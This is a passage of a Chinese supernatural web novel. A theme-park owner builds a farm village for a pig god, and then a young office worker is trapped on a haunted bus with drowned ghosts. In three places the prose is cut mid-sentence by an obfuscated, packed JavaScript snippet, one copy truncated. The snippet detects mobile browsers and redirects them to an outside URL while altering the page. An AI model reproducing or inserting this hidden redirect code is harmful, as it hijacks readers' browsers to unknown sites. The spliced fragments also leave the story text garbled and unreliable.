“我们是乌鬼村的人,我是乌鬼村的村长,注定就是要重建乌鬼村的,住不得那等好地方。” 她看了眼小楼,眼中没有留恋:“只是不知道园长大人能不能容忍我们住在这里?” 郝荨环顾四周,这里还很荒凉,要不是乌神乱跑的话,游客们根本不会发现这里多了两个人。 这座山连同山脚下的土地都是游乐园升阶后获得的,只是她升得太快,副本次数太少,还没来得及开发新项目。 别说她们现在只有两个人,哪怕把乌鬼村原封不动地搬过来,也完全能够容纳的下。 这时,乌神轻轻抖了抖,它的眼睛泛着淡淡的金光,独属于神明的缥缈声音响了起来: 【迷雾正在消散。】 郝荨眼神一凛:“说清楚点。” 乌神摇了摇头。 【我不能说更多了,你要小心……不是每个神明都会喜欢人类的。】 说完,它便闷头拱起了土,假装自己只是只普通野猪。 郝荨:“……猪虽然是杂食动物,但它们不爱吃薄荷。” 乌神顿了顿,然后幽怨地看了郝荨一眼,叹了口气。 【叮!发现隐藏任务“乌神的心愿”。】 【尊敬的乌神大人唯一的心愿就是重振乌鬼村,请园长尽快帮助乌神解决难题。】 【奖励:乌神庙x1】 【特殊建筑:乌神庙】 【描述:乌神明辨善恶,善者未必有好报,但恶者必定自食其果。】 【备注:请注意,乌神爱吃,请不要饿到尊贵的神明大人。】 郝荨望着突然出现在眼前的任务,思索片刻,掏出了手机:“乌神大人,我这里有一份关于《乌鬼村特色文化生态复兴工程》的报告,请你听一下……” 数小时后。 夕阳洒落,山脚下凭空多出几栋挂着喜庆灯笼的茅草屋,上面用LED灯写着几个大字——“乌鬼村农家乐欢迎游客到来”。 “真不愧是巴别塔,这么没用的道具居然也有收藏。” 郝荨边找地方放置乌神庙边感叹,这几座茅草屋是游戏里的白板道具,坚固程度在BOSS手下撑不过三秒,但在有防御功能的游乐园里是刚刚好! 她靠着蜂女的关系以极低的价格帮巴别塔清了库存,成功在山脚下建起了一片小小的村落。 【玩家获得配套设施——乌鬼村农家乐10座,游客居住功能解锁。】 【门匙等级升级】 【奖励:666路公车一辆】 【奖励发放中——】 【发放成功。】 * 今天山海市的天气有些不同寻常,明明下班前看着还是晴天,六点一到,天空突然下起了瓢泼大雨。 闫晓雨冒雨冲进公交车时,鞋跟卡在了车门缝隙里。 她咬着下唇,用力将鞋跟往外拔。 见鬼!怎么偏偏就今天穿了高跟鞋! 不知道是汗水还是雨水打湿了她的头发,她紧张地手指都在颤抖。 不要看她…她不是故意拖大家时间的…… 她好不容易拔出鞋跟,还摔了一跤,正想闷着头跟司机道歉,却发现司机正襟危坐,手臂有些僵硬,整个人直勾勾地盯着前方。 忽然,司机的眼珠动了,他用余光瞥了闫晓雨一眼:“第三排有空位。” “谢谢。” 闫晓雨快速刷完卡,闷头往里走,走了两步她忽然觉得有些奇怪。 现在外面下着暴雨,能打车的人早就打车走了,再不济,也都赶着去挤地铁,只有她这种住在偏远郊外的才会坐公车。 车上人很少,只零零散散坐了五个人,算上她一起,这台公交车上只有六个乘客。 ……司机为什么要特意提醒她有空位? 闫晓雨很想问一句司机,但她想了又想,最终还是唯唯诺诺地走向了第三排的空位。 不等她坐下,司机突然一脚油门,公交车便飞一般地窜了出去。 闫晓雨瞬间跌坐在位置上,摔得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526257|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼冒金星,好半天才缓过来。 为了转移痛觉,她看向窗外,她很喜欢在晚上的公交车上望着窗外发呆,马路上的行人都匆匆忙忙地走着,会让她觉得自己这种无趣又难受的人生和其他人一样,毕竟,这就是普通人的人生嘛。 突然,她动作一顿,车窗反射出诡异的画面——明明车上有六个乘客,可此刻,窗户里只剩下她一个! 她迅速揉了揉眼,一、二、三、四、五、六,她松了口气。 看来,是她上班太累,眼花了。 她安慰好自己,但还是不由自主地观察起了除她以外的几个乘客,她后面的一排坐着一个穿红色雨衣的小女孩,看起来还在上小学,跟有多动症似的抓耳挠腮,在书包里不知道翻着什么。 小女孩后面两排的位置坐着一个年轻工人,她穿着工厂里特有的蓝色工服,看起来有点过时,手中抱着一个被雨打湿了的襁褓。 闫晓雨有些惊讶,她也是这时候才发现她手中还抱着一个婴儿。 这么大的雨,这个年轻妈妈怎么还带着孩子出门? 那一大一小正疲惫地靠在椅背上沉沉睡去,一点声音都没有。 她不由得产生了些怜悯情绪,大家都是可怜人啊…… 公交车的最后一排坐着一老一小两个男人,他们分坐在两端,年轻的男人正横着手机专心致志地打游戏,似乎打输了,骂了句脏话,抬起头来。 见闫晓雨看去,男人狠狠瞪了她一眼。 闫晓雨立刻回头,过了好一会儿才又偷偷看回去。 年轻男人还在打游戏,而那个老爷爷则不赞同地看了他好几眼。 老爷爷的脸很红,红的甚至有些不正常,看起来像是喝了酒似的。 最后一个游客,也是最显眼的那个,她戴着大大的礼帽,这么热的天,居然身上还披了个貂! 从她的角度望去,只能看到对方帽檐下的红唇。 【……广场到了,下车请站稳扶好。】 【欢迎乘坐666号无人售票车,下一站:幸福小区。】 闫晓雨有些疑惑,666号车有叫“幸福”小区的站吗? 不过山海市的公交线路经常会改动,她也没有太在意。 闫晓雨摇摇头,她确实是太累了,才这么容易多心,她拿出手机,先回了一下甲方的消息,然后点开了小绿书的“附近”板块。 【搬家掀开床垫,我发现了老公前妻的秘密…律师:快跑!】 【豪华游轮神秘邀约:仅限动物相人登船!背后真相毛骨悚然……】 【同事‘消失’多天,老板说他加班…监控拍到最后一幕,我辞职了!】 【火灾后只剩狗狗的项圈…主人崩溃:监控显示它拼命敲过门。】 【误入福建‘野猪神村’,村民跪拜猪神祭祀!专家:千年巫术未消亡……】 …… 这都什么和什么?! 闫晓雨无奈,平时的小绿书总给她推点家长里短也就罢了,今天怎么回事,都给她推点神神叨叨的,她刚要关掉页面,却不小心点进了一条帖子,只一眼,她便如坠冰窖! ——【突发!山海市公交坠江致6死,遇难者身份曝光!】 那上面的附图……赫然就是她正在乘坐的这辆666号公交车! 137. 雨夜公交2 闫晓雨的手微微颤抖,偏偏这时,这只已经用了四年的旧手机还卡住! 她咽了口口水,快速长按关机键重启,短短的十几秒此刻却无比漫长,她低着头快速瞥了眼车窗。 闫晓雨:! 车窗倒影中,其他乘客不知什么时候纷纷停下手中动作,直勾勾地望着她。 闫晓雨头皮发麻,拼命地戳着手机屏幕,快亮啊! logo闪过,她快速点进绿泡泡就要给自己的好友发信息—— “姐姐,你在看什么啊?” 闫晓雨身形一顿,汗水从她额前滑至睫毛,有些发痒,她却不敢揉。 “姐姐?”小女孩好奇的声音从她腿边响起。 她回头望去,这个小孩正抱着她的书包站在一旁,小女孩伸手揭开自己的雨帽,露出了一张像是被水泡过、有些泛白的脸。 不知道是不是她的错觉,这个女孩看起来浮肿得厉害。 闫晓雨挤出一个笑:“姐姐没看什么——” 突然,她的手机在绿泡泡开启界面卡顿了几秒,然后跳到了链接到的APP,好巧不巧,正是她正在看的小绿书! 天要亡我! 四个大字重重击打在闫晓雨的心头,她呼吸一窒,只感觉自己下一秒就要死! 如果有下辈子,她一定要把那些想出自动跳转APP功能的资本家吊路灯! “突发!山海市公交坠江致6死,遇难者身份曝光——”小女孩丝毫没有见外,探着头念道,忽然,她有些惊讶,“姐姐,这个车也是666号诶!不过,这个是十年前的666号……” 她捧着脑袋,满眼好奇:“不知道和我们坐的是不是就是这辆!好酷!” 闫晓雨:…… 她真是老了,搞不懂现在的小孩在想什么,坐到死人的车是什么很酷的事吗?! 不过,她说十年前……? 闫晓雨低头仔细一看,这条帖子竟然真的是十年前的今天发的,只是不知道为什么推到了她的首页。 她长舒了一口气,吓死她了! “怎么可能!”司机大哥头都不回,“咱们可是正规公交系统,出过事故,还是这么大的事故,车肯定是要封存报废的!” “哦……”小女孩似懂非懂地点了点头。 见闫晓雨没有点开其他帖子,她无聊地打了个喷嚏,又跑回了自己的座位上。 或许是心态转变,现在她无论是看司机大哥还是其他乘客都不觉得奇怪了,山海市这么大个城市,怪里怪气的人多了去了,就说今天,她公司楼下还有个只穿裤袜在那搞直播的大叔呢! 可惜后来被保安赶走了,不然她还能跟同事一起摸会鱼。 受了一天甲方和领导的窝囊气,她是真的有点累了。 闫晓雨靠着椅背,逐渐闭上了眼睛。 就在她要去会见周公时,手机突然震动了一下,是好朋友、也就是她现在的室友发来的信息。 ——【雨这么大,你回来了吗?】 好友是个急性子,她不过是几秒没回复而已,对方就弹起了视频,闫晓雨本来打算点拒接,车却在这时颠簸了一下,她点到了接通键。 “你到哪啦?路上安全吗?要不要我下去接你啊?” 好友的脸凑到摄像头前,左看右看,似乎想看清楚她是不是真的安全。 闫晓雨微微皱了皱眉,以往好友虽然性格也有些急,但也不至于如此急躁。 她干脆抬起手机,给对方看了一下自己的位置:“我在公交车上呢,一会儿就到家了,先挂了啊。” “你上的哪个公交啊?我看看到哪了?你这一会儿是多一会儿啊?我在楼下等你!” “不用!” 闫晓雨有些不理解好友这是闹哪出,她又不是第一次出门下雨,怎么就今天说要接她? “嗨呀!”好友像是看到了什么,面色一下严肃下来,更奇怪的是,她居然开始说起了八卦,“你还记得我跟你说的那个谁吗?就是那个……” 她喋喋不休地说着,手却在屏幕上疯狂打着字。 闫晓雨越看越觉得奇怪,她本想直接挂断,可就在她要按下挂断键的前一秒,手机忽然受到了一条信息,是视频对面的好友发来的。 ——【关掉震动。】 闫晓雨有些疑惑,但还是犹犹豫豫地给手机开了静音。 ——【听我说!别害怕,也别回头。】 ——【你坐的这辆车,有鬼!】 闫晓雨微微睁大双眼,她怀疑好友是不是在恶作剧,实在是她的前科太多,可她们确实是多年的好友了,闫晓雨一个表情好友就知道她在想什么,很快,她就受到了下一条信息。 ——【你先别不信,点进去看!】 说着,她发来了一条链接,闫晓雨点进去一瞧,嚯!正好是推到她首页的那条帖子。 闫晓雨无奈摇头,手指敲击屏幕: 【你看错啦,那是十年前的帖子——】 话未打完,好友就截了一张图过来,上面赫然写着几行小字,是下方网友发的几条评论,日期就在今天。 ——【这事儿只有老山海人还记得了吧!我到现在还记得,当时车上死了六个人,其中有一个小女孩才刚刚上小学,当天家里人有事没来得及去接,她就自己穿着妈妈新买的红雨衣偷偷坐车回家,结果……唉!人间惨剧啊!事件发生后,她的父母一蹶不振,工作也丢了,听说,精神还出了点问题,逢人就问有没有见过她女儿的红雨衣,可怜啊!】 ——【楼上这么一说我想起来了,车上还有个老教授,听说是山海大学的,那当真是桃李满天下,就是到了现在,每年都还有学生去江边祭拜呢!】 ——【对对!我也看到过,我还记得当时发生了一件怪事,公交车坠江前,明明有摄像头拍到车上连司机一共有七个人,可最后却只找到六具尸体,为此,官·方还特意找到了这条路上所有的站台摄像头,可怎么算,当时车上都应该有七个人!车子坠江时掉落地太急,门窗都没有损坏,也不可能有人逃生,可偏偏就是少了一个!到现在,这666号公交车都是山海市未解之谜之一。】 ——【这现在都快变成山海怪谈了,大家都说,因为坠江太快,他们死得突然,都不知道自己已经死了,只觉得自己被困在了车里不能回家,所以,每次有跟那天差不多的雨夜时,这辆公交车就会在雾中出现,如果这时有人不小心上了车,说不定就要变成他们的替死鬼,留在这辆车上了!】 这! 见闫晓雨脸都白了,好友明白她反应过来,连忙摆手示意她冷静。 ——【晓雨,你听我说!】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537612|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——【我刚刚查了一下,666号刚刚才从始发站触发,你肯定是误坐上那辆坠江的公交车了!】 ——【不过你别害怕,你们现在车上人数超过了6,肯定有人会下车的!】 ——【你只要装作不知道,一直接视频自然下车就行!】 闫晓雨紧张点头,她偷偷用余光注视着车上的乘客。 在好友翻来覆去的八卦声中,其他游客都慢慢停下了动作,就连打游戏的小伙子都不耐烦地放下了手机。 雨水哗哗地下着,闫晓雨望向窗外,这里她有点眼熟,离公交车坠下的那条江还有些距离,她只要在下一站下车,然后等好友来接就行。 一定可以,没问题的。 她吞了口口水,嗓子有些干涩。 【叮咚,幸福小区到了,下车请站稳扶好。】 外头黑乎乎的,电闪雷鸣,可对闫晓雨来说却是希望的曙光。 她连忙起身,奔着离她最近的前门就要下车,却被司机一把拉住!一股巨力钳住她,几乎要把她的手掐青: “诶!你这个人第一次坐公交车吗?前门上后门下,懂不懂啊你!” 闫晓雨一愣,她扭头看向车尾处的后门,那里没有打开。 是赌司机会开门……还是甩开司机就这么冲下去? 她很想做出后者的举动,但长久以来的社畜生涯已经让她习惯了伏低做小,她低下头,嗫嚅道:“……好的。” 然后,她走到了后车门处。 “司、司机师傅,麻烦…麻烦开一下门!” 不知道是不是她的声音太小,司机没有动作,就在这时,前车走上来了个老太太,她的年纪很大了,满头银丝被黑色小夹子固定得很好,身上穿着有些过时的短袖衬衫,她在包里掏了半天,也没掏出硬币。 “不好意思啊。”老太太有些尴尬地笑笑。 司机没有说话,只冷冷地目视前方。 闫晓雨鼓起勇气又喊了一声:“……司机师傅!麻烦开下门!” 司机终于有了动静,他看了眼后视镜里正在视频的闫晓雨,又斜眼看了眼新上的老太太,似乎在将两人进行某种比较,最终,他按下了开门键。 公交车的后门,开了。 好友抓紧时间,大喊了一声:“快下车,我马上到了!” 闫晓雨有些犹豫地看了眼老太太,然后,在好友的声声催促下顶着大雨冲进了站台。 老太太不小心将布包掉了下去,几枚硬币散落在地上,她连忙吃力地弯腰去捡。 司机似乎有些等不及,他看了眼时间,冷声道:“算了,你坐下吧。” 老太太有些不知所措,看得出来,她可能从没干过吃霸王餐这种事:“诶,我、我再找找。” 就在这时,闫晓雨不知哪来的勇气喊道:“奶奶!您是不是上错车了?我陪您打车回去吧!” 老太太吃惊,随后扬起了和蔼的笑:“谢谢你啊,小姑娘,不过,我没上错车。” 司机似乎不愿见她们多作交流,干脆按下了关门键。 车门缓缓关闭,就在要完全合上的那一秒,闫晓雨硬是重新挤了上去。 牛仔裤下,她的双腿在不自觉地打颤,就连声音都在发着抖,但她依然死死抓住老太太的袖子,认真道:“奶奶,你真的上错车了。” 138. 雨夜公交3 闫晓雨又重新坐回了她的第三排,她哆哆嗦嗦地拉住还想往后走的老太太。 “您、您坐这儿吧……” 老太太的眼球略有些浑浊,瞳孔颜色很浅,看起来视力不大好,她环顾四周看了好几圈,直到司机催促才坐在了闫晓雨身边。 “姑娘,你手怎么这么冷?” 奶奶有些吃惊,随即她张开温暖的手掌包裹住闫晓雨的:“小姑娘可不能淋雨的,对身体不好。” 闫晓雨听不进去,她紧张地看向窗外。 车子启动,雨越来越大,离那座坠江的大桥还有一站路,她一定、一定要在下个站台下车! 她一下收紧手指,牢牢抓住那个老太太,低声道:“奶奶,下一站…你一定要跟我下车!” 老太太一怔,正想说些什么,闫晓雨的手机里传来了好友的声音。 “我到了,你在哪——你怎么又上车了?!” 闫晓雨哆嗦着把刚刚的事发给好友,好友的信息一条接一条地亮起: ——【你!】 ——【唉,你这善心真的是……算了,没事,你别怕,我现在就让司机去下一站!】 ——【下一站,无论那个老太太下不下,你都一定得下!】 车后头传来一声骂声,那个打游戏的年轻人似乎又输了一局,正在狂骂队友。 闫晓雨快速偷看了一眼,其他人都很安静,和年轻人坐一排的老爷爷甚至半个身体都滑了下去,似乎睡着了。 不仔细看的话甚至都看不到他。 穿着红雨衣的小女孩在书包里掏了半天,总算是掏出了什么圆圆的往嘴里塞,打眼看去像是什么水果。 闫晓雨艰难地咽了口水,她的额头往外渗着冷汗。 “你没事吧?小姑娘?” 老太太见闫晓雨的手指有些痉挛,帮她一个个按摩了一下拉直。 见闫晓雨看过来,她连忙摆摆手:“对不住啊,顺手了,我家那老头子也总是写东西写到手指抽筋,现在年轻人都不爱写字了,不过玩手机也差不多,我就顺手……” 闫晓雨抿着嘴摇摇头:“谢谢您。” 老太太有些担心:“你这脸白的,真的没事吗?” 闫晓雨再次摇头,老太太把手盖在她的手背上,可她的下一句话,却让闫晓雨一下脊背发凉。 “小姑娘,你别太担心了,她不回信息一定是没看到,你啊,就放轻松,别发啦。” 闫晓雨愣住,她在说什么? 老太太不明所以地指了指她狠狠攥住的手机。 闫晓雨僵硬地低下头,手机屏幕里的绿泡泡,赫然只剩下了自己发出去的信息,而对面,还停留在最开头的——【雨这么大,你回来了吗?】 那刚刚和她发信息的……是谁?! 她们明明还打了视频! 可闫晓雨再怎么翻记录,都只有自己一遍遍给对方打视频的记录。 ……对面从来都没有接通过。 一阵凉意从她的脚底心窜上,她思绪混乱,只是立刻翻着白眼晕倒。 可温暖的大手一下拉回了她,老太太的手有些粗糙,却格外暖和。 见她浑身都在发抖,老太太干脆一把揽住她,用自己身上的体温包裹住这个年轻的孩子。 “你穿太少啦,以后出门可得多穿点,我知道,你们年轻人现在压力大,但身体才是第一位的,可不好怠慢……” 老太太絮絮叨叨的,看不出来,这个将自己打理得干干净净的奶奶还是个话痨。 有点像闫晓雨老家的阿婆。 闫晓雨找到了些熟悉的感觉,总算是冷静了下来,她用力掐了一下手臂,正要说些什么,背后却传来了一阵“咔嚓咔嚓”的咀嚼声。 穿着红雨衣的小女孩不知何时又跑到了她身后的座位上,见她转头,女孩大方地抓起两颗果子递来:“奶奶,姐姐,你们要不要来一颗?” 闫晓雨定睛一瞧,大惊失色。 那根本不是什么果子——而是两颗红色的眼球! 小女孩见她们没什么反应,只好收回手塞进自己的嘴里,把眼球嚼得汁水四溅。 “可好吃了,我妈妈给我准备的!你们真的不吃吗?” “妈妈?” 那个穿着过时工装服的年轻女人突然站起:“妈妈?宝宝?” 她一下冲了过来:“我的宝宝,我的宝宝呢?!你们看见我的宝宝了吗?!” 那女人眼神放空,神色扭曲,看起来异常神经质。 闫晓雨死死抓住老太太的手,这里只有她和老太太唯二两个活人,她可不能放手! 小女孩好奇地指了指她的怀里:“阿姨,你的宝宝就在这里呀!” 年轻女人顿了顿,她缓缓低下头,将怀里的襁褓掀开,露出了一张发泡的婴儿的脸。 那婴儿一动不动,连一丝呼吸的起伏都没有。 闫晓雨没有见过巨人观,但看到这个孩子的瞬间,她就知道,这一定是巨人观。 呕意涌上,被她强行忍住。 “哇!”小女孩惊讶道,“宝宝好胖呀!” 闫晓雨真想捂住她的嘴让她别说了,那个年轻女人本来都放松了神色,听到这话又立刻紧绷起来。 “宝宝?宝宝?”她的神色越发癫狂。 “他怎么不说话?他不是我的宝宝!我的宝宝才不是这样的!” 女人尖叫起来:“我的宝宝会哭会笑!还会在亲我的时候叫我妈妈!他不是我的宝宝!!!” 闫晓雨恨不得把自己蜷缩成蚂蚁,生怕年轻女人会注意到自己。 她忍不住想哭,自己怎么就这么倒霉,上班受公司的气,下班还要受鬼的气…… 有那么一瞬间,闫晓雨觉得还不如死了算了,以她的怨气,说不定能比这车上的所有鬼加起来都要厉害! 就在此刻,老太太忽然开口:“他是你的宝宝呀,你可不能这么说,孩子会伤心的。” “他不是!”年轻女人的眼眶中缓缓流下血泪。 老太太的声音格外沉稳,让人安心:“他是,你仔细看,你们明明眉眼长得这么像。” 闫晓雨一言难尽地看了眼老太太,很想问一句这种泡发了的脸是怎么看出来和女人长得像的。 她甚至怀疑,以老太太的视力,究竟能不能看清对方的无关长啥样。 “……是吗?”女人盯着怀里的孩子,有些疑惑。 “当然,你瞅瞅这眼睛,这眉毛,简直跟你一模一样!” 女人还是狐疑:“那他为什么不说话?” “他长大啦,”老太太一副过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548161|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的模样,“孩子长大了就懂事了,他知道妈妈上班辛苦,不能闹人,你该开心呀。” 女人看了半天,似乎是真从那泡成一条缝的五官中看到了自己的影子,这才恢复了平静,她一屁股坐在老太太身后,开始跟老太太聊起了育儿经。 闫晓雨很想大喊,你不要过来啊! 但她连小发雷霆都不敢,只好沉默着,生怕引起对方的注意。 【叮咚——】 报站声终于响起,闫晓雨迫不及待地站起身,就想拽着老太太下车。 “你真的要下车吗?” 一个陌生的女声忽然想起,闫晓雨一怔。 说话的是那个戴着大檐帽的女人,她衣着精致,和这辆破旧的公交车格格不入。 女人微微掀开帽子,露出了下半张精致到不像人的脸。 这很奇怪,她明明很漂亮,却让闫晓雨产生了一股诡异的伪人之感。 “你真的要下车吗?” 女人又问了一遍,她的声音也很特殊,总之,不像活人。 闫晓雨晃晃头,这有什么好想的,她不是早就知道这车上只有她和老太太两个活人了吗? 毕竟这车上有六具尸体……等等。 闫晓雨忽的睁大双眼,她忘了一件事。 年轻妈妈的襁褓里还有个孩子,那么这辆666号公交车上除开她和老太太外,应该有七个人! 怎么会只有六具尸体?! 她想起帖子里说的,公交车上本应有七个人,最终却只发现了六具尸体,有一个人凭空消失了。 这个人……是谁? 不对不对!闫晓雨用力掐了自己一把,那跟她无关,她只要下车就行! 她强打起笑脸,腼腆地点了点头。 “奶奶,我们到站了。” 老太太深深地看了她一眼:“姑娘,你下去吧,这不是你该上的车。” 说着,她用力推了闫晓雨一把,将她推到了后门口。 “你真的要下车吗?” 漂亮女人再次重复了一遍,这次,她微微抬起下巴,点了点后门。 “你看清楚,那是你的朋友吗?” 闫晓雨疑惑望去,后车门外,一个身影站在那,正朝自己拼命招手,她刚要抬手回应,却硬生生定在了原地。 瓢泼大雨下,门外的身影有些看不清楚,只依稀能看到,那个女人身形很像她的好友。 只是这个女人既没有撑伞,也没有穿雨衣。 她就那么站在雨中,浑身湿透,闫晓雨产生了一种奇怪的感觉,这个人……真的是自己的好友吗? 好友不喜欢下雨,但凡雨天她都能不出门就不出门,一定要出门的话也是雨伞雨鞋齐备,她还曾经开玩笑说对方是泥做的,遇水即化。 可现在,这个长着好友脸的人却就那样站在雨中,黑色的头发披在脸上,她却完全没有在意,只一个劲地冲她招手,似乎还在喊着什么。 仔细看去,那口型是在叫她“下车”。 她又拿起手机看了一眼,绿泡泡里还有没有对方的信息。 闫晓雨进入了两难,不下车,车上这么多鬼不说,马上车就要开上大桥,也就是666号公交车坠江的地方,可要是下车……这个“好友”看着也不像什么好“人”啊!